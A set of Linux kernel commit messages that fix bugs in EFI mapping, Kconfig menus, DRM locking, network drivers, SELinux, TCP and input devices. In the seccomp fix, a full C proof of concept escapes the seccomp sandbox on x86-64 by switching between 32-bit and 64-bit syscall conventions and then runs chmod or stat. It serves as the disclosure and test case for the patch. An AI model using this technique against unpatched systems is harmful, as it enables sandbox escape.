Impact: fix failed EFI bootup in certain circumstances Ying Huang found init_memory_mapping() has problem with small ranges less than 2M when he tried to direct map the EFI runtime code out of max_low_pfn_mapped. It turns out we never considered that case and didn't check the range...

This reverts commit 155b25bc, which was totally wrong - the "embedded" options still exists (very much so) even on non-embedded platforms. It's just that we don't bother with actually asking about them when we're not embedded, we just take their default values (which is usually 'y' - the options add features that may not be worth it in a constrained environment).

This is done by 1) Wake up lock waiters when we close the master file descriptor. Not when the master structure is removed, since the latter requires the waiters themselves to release the refcount on the master structure -> Deadlock. 2) Send a SIGTERM to all clients waiting for the lock. Normally these clients will get a SIGPIPE when the X server dies, but clients may also spin trying to grab the DRM lock, without getting any sort of notification.

The COMPAT_BRK kconfig symbol does not depend on EMBEDDED, but it is in the midst of the EMBEDDED menu symbols, so it mucks up the EMBEDDED menu. Fix by moving it to just after all of the EMBEDDED menu symbols. Also, surround all of the EMBEDDED symbols with "if EMBEDDED"/"endif" so that this EMBEDDED block is clearer.

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

Some Toshiba laptops have another ALC268 codec on slot#3 that conflicts with the primary codec. The codec#3 is for the digital I/O, and should be fixed by the driver, but it'd need a bunch of changes. So, let's fix the probe problem temporarily by setting the default probe_mask value.

Make usbnet_get_link() fall back to ethtool_op_get_link() instead of defaulting to 1. This makes usbnet_get_link return valid results without the need for a driver specific check_connect or mii ops as long as the driver calls netif_carrier_{on,off}() as appropriate. cdc_ether is an example of such a driver.

The Ericsson F3507g wireless broadband module provides a CDC Ethernet compliant interface, but identifies it as a "Mobile Direct Line" CDC subclass, thereby preventing the CDC Ethernet class driver from picking it up. This patch adds the device id to cdc_ether.c as a workaround. Ericsson has provided a "class" driver for this device: http://kerneltrap.org/mailarchive/linux-net/2008/10/28/3832094 But closer inspection of that driver reveals that it adds little more than duplication of code from cdc_ether.c.

This is 2nd attempt to implement the initialization/reading of MAC address from EEPROM. The first used PCI's VPD and there were some problems, some devices are not able to read EEPROM content by VPD. The 2nd one uses direct access to EEPROM through bit-banging interface and my testing results seem to be much better. I tested 5 systems each with different Realtek NICs and I didn't find any problem. AFAIK Francois's NICs also works fine. Original description: This fixes the problem when MAC address is set by ifconfig or by ip link commands and this address is stored in the device after reboot. The power-off is needed to get right MAC address. This is problem when Xen daemon is running because it renames the device name from ethX to pethX and sets its MAC address to FE:FF:FF:FF:FF:FF. After reboot the device is still using FE:FF:FF:FF:FF:FF. Signed-off-by: Ivan Vecera <ivecera@redhat.com> Signed-off-by: David S. Miller <davem@davemloft.net>

Rick McNeal from LSI identified a panic in selinux_netlbl_inode_permission() caused by a certain sequence of SUNRPC operations. The problem appears to be due to the lack of NULL pointer checking in the function; this patch adds the pointer checks so the function will exit safely in the cases where the socket is not completely initialized.

There's conflicting assumptions in shifting, the caller assumes that dupsack results in S'ed skbs (or a part of it) for sure but never gave a hint to tcp_sacktag_one when dsack is actually in use. Thus DSACK retrans_out -= pcount was not taken and the counter became out of sync. Remove obstacle from that information flow to get DSACKs accounted in tcp_sacktag_one as expected.

The netpoll entry checks are required to ensure that we don't receive normal packets when invoked via netpoll. Unfortunately it only ever worked for the netif_receive_skb/netif_rx entry points. The VLAN (and subsequently GRO) entry point didn't have the check and therefore can trigger all sorts of weird problems. This patch adds the netpoll check to all entry points. I'm still uneasy with receiving at all under netpoll (which apparently is only used by the out-of-tree kdump code). The reason is it is perfectly legal to receive all data including headers into highmem if netpoll is off, but if you try to do that with netpoll on and someone gets a printk in an IRQ handler you're going to get a nice BUG_ON.

When resuming from suspend newer Synaptics touchpads do not recover correctly. Analysis of the resume sequence as applied in Linux was compared to that of other operating systems. This indicated that the other OSs were resetting the mouse before attempting to detect it (for all Synaptics touchpads, old and new). Applying this same modification fixes these newer Synaptics touchpads and brings the driver into line with common OS reset behaviour.

Commit ec42d448 broke usbtouchscreen for some eGalax/EETI devices that claim to be HID, but are not. Devices confirmed to be real HID have the class set to HID and the protocol set to 'mouse'.
